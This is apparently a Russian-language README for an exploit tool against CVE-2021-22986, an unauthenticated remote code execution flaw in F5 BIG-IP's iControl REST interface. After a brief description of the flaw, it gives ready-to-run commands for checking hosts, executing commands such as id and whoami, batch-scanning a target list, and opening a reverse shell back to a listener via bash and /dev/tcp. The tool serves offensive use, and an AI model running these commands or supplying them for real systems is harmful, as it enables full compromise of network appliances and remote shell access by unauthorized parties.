
CVE-2021-22986 & F5 BIG-IP RCE
Эта уязвимость позволяет неаутентифицированным злоумышленникам, имеющим сетевой доступ к интерфейсу iControl REST через интерфейс управления BIG-IP и собственные IP-адреса, выполнять произвольные системные команды, создавать или удалять файлы, а также отключать службы. Данная уязвимость может быть использована только через плоскость управления (control plane) и не может быть использована через плоскость данных (data plane). Эксплуатация может привести к полной компрометации системы. Система BIG-IP в режиме Appliance также уязвима.
Базовое использование
python3 CVE_2021_22986.py

Проверка уязвимости
python3 CVE_2021_22986.py -v true -u https://192.168.174.164

Выполнение команды:
python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c id

python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c whoami

Пакетное сканирование
python3 CVE_2021_22986.py -s true -f check.txt

Обратная оболочка
python3 CVE_2021_22986.py -r true -u https://192.168.174.164 -c "bash -i >&/dev/tcp/192.168.174.129/8888 0>&1"


python3 newpoc.py https://192.168.174.164

https://support.f5.com/csp/article/K03009991